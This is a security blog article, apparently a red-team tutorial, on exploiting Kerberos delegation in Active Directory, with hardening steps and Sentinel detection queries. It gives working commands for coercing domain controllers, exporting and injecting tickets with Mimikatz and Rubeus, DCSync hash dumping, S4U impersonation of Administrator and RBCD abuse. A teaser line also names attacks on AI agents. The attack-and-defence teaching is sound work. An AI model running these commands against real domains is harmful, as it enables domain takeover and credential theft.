
A hands-on masterclass covering Active Directory Kerberos delegation attacks: Unconstrained, Constrained (S4U2Self/S4U2Proxy), and Resource-Based Constrained Delegation (RBCD) exploitation, I
Hands-on red team guide to auditing and exploiting AI agents in 2026. Covers indirect prompt injection, EchoLeak markdown exfiltration, MCP tool description rug-pulls/shadowing, RAG context d
25 min read
Master Active Directory intra-forest trust exploitation. Learn how child domain compromise leads to full parent forest escalation via SID History injection (ExtraSIDs), Kerberos Golden Ticket
Understanding of Active Directory architecture, Kerberos authentication (TGT/TGS), PowerShell, and basic Linux command-line security tools.
Master Kerberos delegation mechanics (KUD, KCD, RBCD), execute S4U protocol transition attacks with Impacket and Rubeus, configure RBCD via BloodyAD, and implement Sentinel KQL detection rule
In Active Directory (AD) infrastructure, Kerberos Delegation is a fundamental architectural feature designed to allow a front-end service (such as a Web Server or Application Gateway) to impersonate a client when requesting access to a back-end resource (such as a SQL Database or File Server).
Without delegation, multi-tier applications require double authentication or storing service account passwords in plain text. Kerberos Delegation solves this problem by allowing the middle-tier server to act on behalf of the authenticating user.
However, misconfigured delegation settings represent one of the most lethal privilege escalation and lateral movement vectors in enterprise Active Directory environments. If an attacker gains control of an account or host with delegation rights, they can forge Kerberos tickets to impersonate any user—including Domain Admins—across the domain.
This hands-on masterclass details the internal mechanics, exploitation methodologies, and defensive detection engineering for all three evolutionary models of Kerberos Delegation:
msDS-AllowedToActOnBehalfOfOtherIdentity attribute.| Delegation Type | Introduced In | Control Permission | Key AD Attribute / Flag | Impersonation Scope | TGT Forwarded to Memory? |
|---|---|---|---|---|---|
| Unconstrained (KUD) | Windows 2000 | Domain Admin | userAccountControl: TRUSTED_FOR_DELEGATION (0x1000000) | Any domain service / Any user | Yes (Full TGT stored in LSASS) |
| Constrained (KCD - Standard) | Windows Server 2003 | Domain Admin | msDS-AllowedToDelegateTo | Specific named SPNs | No (Uses S4U extensions) |
| Constrained (KCD - Protocol Transition) | Windows Server 2003 | Domain Admin | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (0x10000000) | Specific named SPNs (User authentication not required) | No (Uses S4U extensions) |
| Resource-Based (RBCD) | Windows Server 2012 R2 | Resource Owner / Writable DACL | msDS-AllowedToActOnBehalfOfOtherIdentity on target object | Specific accounts specified by target | No (Uses S4U extensions) |
When a computer or service account is configured with Unconstrained Delegation (TRUSTED_FOR_DELEGATION), the Key Distribution Center (KDC) includes a copy of the requesting user's Ticket-Granting Ticket (TGT) inside the Service Ticket (TGS) sent to that service.
When the user authenticates to the unconstrained server, the server extracts the user's TGT from the Kerberos AP-REQ message and caches it in its Local Security Authority Subsystem Service (LSASS) memory.
If a high-privilege account (e.g., Domain Admin) authenticates to an unconstrained server, an attacker who has compromised that server can dump the cached TGT directly from LSASS and inject it into their own session.
[Client / DA] ---(Authenticates via Kerberos)---> [Unconstrained Server]
|
(Stores DA TGT in LSASS)
|
[Attacker on Server] <---(Dumps TGT via Mimikatz/Rubeus)----+
Using PowerView or the standard ActiveDirectory PowerShell module, enumerate all computer accounts (excluding Domain Controllers) with unconstrained delegation enabled:
# Enumerate Unconstrained Delegation computers using PowerView
Get-DomainComputer -Unconstrained -ExcludeDCs | Select-Object name, dnshostname, useraccountcontrol
# Using ActiveDirectory Module
Get-ADComputer -Filter {UserAccountControl -band 0x1000000} -Properties UserAccountControl |
Where-Object {$_.objectClass -eq "computer" -and $_.PrimaryGroupID -ne 516} |
Select-Object Name, DNSHostName
If no Domain Admin is actively logging into the compromised unconstrained host, an attacker can coerce a Domain Controller (DC) to authenticate to the unconstrained host using RPC methods such as MS-RPRN (Printer Spooler) or MS-EFSR (PetitPotam).
Using Rubeus in monitor mode:
# Monitor for incoming TGT tickets every 5 seconds
Rubeus.exe monitor /interval:5 /targetuser:DC01$
From an attacker host, trigger authentication from the DC (DC01.domain.local) back to the unconstrained host (APPSRV01.domain.local):
# Using PetitPotam (MS-EFSR) via Impacket
python3 petitpotam.py APPSRV01.domain.local DC01.domain.local
# Or using SpoolSample / Coercer
python3 coercer.py coerce -u lowpriv -p 'Password123' -d domain.local -t APPSRV01.domain.local -l DC01.domain.local
Once the DC authenticates, its TGT (representing DC01$) lands in LSASS memory on APPSRV01. Extract and inject the ticket:
# Dump ticket with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Pass-the-Ticket using Rubeus
Rubeus.exe ptt /ticket:doIF3jCCBdagAwIBBaEDAgEW...
# Perform DCSync to dump all domain hashes
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" "exit"
Constrained Delegation restricts an account's impersonation capability to explicit SPNs defined in the msDS-AllowedToDelegateTo attribute. To achieve this without requiring full TGT forwarding, Microsoft introduced two Kerberos extensions:
msDS-AllowedToDelegateTo.If the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag is set on the account, Protocol Transition is enabled, allowing the service to impersonate users who authenticated via non-Kerberos methods (e.g., NTLM, Forms, or anonymous web access).
[Service Account (web_svc)] ---(S4U2Self: Impersonate Administrator)---> [KDC]
[Service Account (web_svc)] <---(Returns Forwardable TGS for Administrator)--- [KDC]
|
[Service Account (web_svc)] ---(S4U2Proxy: Request TGS for cifs/sql01)---> [KDC]
[Service Account (web_svc)] <---(Returns TGS for cifs/sql01 as Admin)-------- [KDC]
Assume the service account websvc (or machine account WEB01$) has msDS-AllowedToDelegateTo set to cifs/FILESV01.domain.local.
# PowerView Enumeration
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
getST.pyUsing the NT hash of websvc or WEB01$:
# Obtain a service ticket impersonating 'Administrator' for the allowed CIFS service
python3 getST.py -hk 0e6c278... -spn cifs/FILESV01.domain.local -impersonate Administrator domain.local/websvc
# Export the resulting Kerberos ticket to environment
export KRB5CCNAME=Administrator.ccache
# Access the target share as Administrator
smbclient -k -no-pass //FILESV01.domain.local/C$
Kerberos service ticket validation checks only the service ticket encryption key (which belongs to the machine account). The service name portion of the SPN inside the ticket is not cryptographically bound to the target service class!
If msDS-AllowedToDelegateTo allows delegation to time/FILESV01.domain.local, an attacker can request the ticket for time/FILESV01 and then alter the SPN prefix to cifs/FILESV01 or host/FILESV01 (or use Impacket's -altservice flag):
# Request delegation ticket with SPN substitution to gain CIFS (SMB) access
python3 getST.py -spn time/FILESV01.domain.local -altservice cifs -impersonate Administrator -hashes :4a5d... domain.local/websvc
Introduced in Windows Server 2012 R2, Resource-Based Constrained Delegation (RBCD) flips the delegation trust model. Instead of an administrator editing the front-end delegating account (msDS-AllowedToDelegateTo), the back-end resource object maintains an Active Directory attribute called msDS-AllowedToActOnBehalfOfOtherIdentity.
This attribute contains a raw Security Descriptor (DACL) that lists which security principals (users or computer accounts) are allowed to perform S4U delegation to this resource.
If an attacker possesses GenericWrite, GenericAll, or WriteProperty permissions over a computer object (e.g., TARGET-PC$), they can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute without requiring Domain Admin privileges!
FAKE-PC$) using the default Machine Account Quota (ms-DS-MachineAccountQuota default = 10).FAKE-PC$ into TARGET-PC$'s msDS-AllowedToActOnBehalfOfOtherIdentity attribute.FAKE-PC$ credentials to perform an S4U request impersonating Administrator for TARGET-PC$.TARGET-PC$.[Attacker] --(1. Creates FAKE-PC$)--> [Active Directory]
[Attacker] --(2. Sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-PC$)--> [TARGET-PC$]
[FAKE-PC$] --(3. S4U2Self + S4U2Proxy for Admin)---> [KDC] ---> [Receives Admin TGS]
[Attacker] --(4. Uses Admin TGS via PTT)-----------> [TARGET-PC$ (System Compromise)]
addcomputer.py# Create a controlled computer account using valid domain user credentials
python3 addcomputer.py -domain domain.local -computer-name 'ATTACK-PC$' -computer-pass 'Password123!' -dc-ip 192.168.1.10 'lowpriv:UserPass123'
rbcd.py or bloodyADUsing rbcd.py from Impacket:
# Grant ATTACK-PC$ permission to delegate to TARGET-PC$
python3 rbcd.py -delegate-to 'TARGET-PC$' -delegate-from 'ATTACK-PC$' -action write -dc-ip 192.168.1.10 'domain.local/lowpriv:UserPass123'
Alternatively, using bloodyAD:
bloodyAD -u lowpriv -p 'UserPass123' -d domain.local --host 192.168.1.10 add rbac 'TARGET-PC$' 'ATTACK-PC$'
getST.py# Perform S4U2Self + S4U2Proxy to get TGS for CIFS on TARGET-PC$ as Administrator
python3 getST.py -dc-ip 192.168.1.10 -spn 'cifs/TARGET-PC.domain.local' -impersonate Administrator 'domain.local/ATTACK-PC$:Password123!'
# Export ticket to environment
export KRB5CCNAME=Administrator.ccache
wmiexec.py or psexec.py# Execute remote commands on TARGET-PC as Administrator
python3 wmiexec.py -k -no-pass TARGET-PC.domain.local
To systematically neutralize delegation attack vectors, security teams must enforce least-privilege configurations across Active Directory.
Prevent non-administrative domain users from creating new computer accounts required for RBCD:
# Set ms-DS-MachineAccountQuota to 0
Set-ADDomain -Identity (Get-ADDomain).DistinguishedName -Replace @{'ms-DS-MachineAccountQuota'=0}
Accounts placed in the Protected Users group cannot be delegated using Kerberos Delegation (Unconstrained or Constrained). TGTs for these users are never cached on delegate servers.
# Add Domain Admins and Sensitive Accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator", "da_svc"
For sensitive service or administrative accounts that cannot be added to Protected Users due to compatibility, set the NOT_DELEGATED flag (0x100000) on their account properties in AD.
# Set Sensitive Flag via PowerShell
Set-ADUser -Identity "AdminUser" -AccountNotDelegated $true
Run routine PowerShell scripts to audit objects with populated delegation attributes:
# Search for non-DC computer objects with Unconstrained Delegation
Get-ADComputer -Filter {UserAccountControl -band 0x1000000} | Where-Object {$_.PrimaryGroupID -ne 516}
# Search for computer objects with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} |
Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity
When an attacker modifies the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, Active Directory logs Event ID 5136 in the Security Event Log.
// Microsoft Sentinel KQL Query: RBCD Attribute Modification Detection
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project
TimeGenerated,
SubjectUserName,
SubjectDomainName,
ObjectDN,
AttributeValue,
OperationType
| extend Summary = strcat("Account ", SubjectUserName, " modified RBCD attribute on ", ObjectDN)
Event ID 4769 indicates a Kerberos Service Ticket was requested. When S4U2Self is abused, the ServiceName matches the requesting account, but the ticket is requested for a sensitive user (e.g., Administrator).
// Microsoft Sentinel KQL Query: S4U2Self Kerberos Anomaly Detection
SecurityEvent
| where EventID == 4769
| where TicketOptions has "0x40810000" or TicketOptions has "0x40800000" // S4U Flags
| where TargetUserName startswith "Administrator" or TargetUserName endswith "Admin"
| project
TimeGenerated,
Computer,
TargetUserName,
ServiceName,
IpAddress,
TicketOptions,
Status
| Control Area | Security Requirement | Verification Command / Metric | Priority |
|---|---|---|---|
| Machine Account Quota | ms-DS-MachineAccountQuota = 0 | (Get-ADDomain).'ms-DS-MachineAccountQuota' | Critical |
| Tier-0 Protection | Add privileged users to Protected Users group | Get-ADGroupMember -Identity "Protected Users" | Critical |
| Unconstrained Audit | Zero non-DC servers with TRUSTED_FOR_DELEGATION | Get-ADComputer -Filter {UserAccountControl -band 0x1000000} | High |
| RBCD Monitoring | SIEM Alert active for Event ID 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity | Sentinel Alert Policy Verification | High |
| Account Flag | Enable AccountNotDelegated for domain service accounts | Get-ADUser -Filter {AccountNotDelegated -eq $true} | Medium |
Authored by Syed Zada Abrar | SentinelReign Cybersecurity Research Division
25 min read
A comprehensive technical breakdown of Active Directory Certificate Services (ADCS) security architecture, analyzing ESC1/ESC8 misconfigurations, PowerShell auditing, enterprise hardening, an
15 min read
Sign in to leave a comment.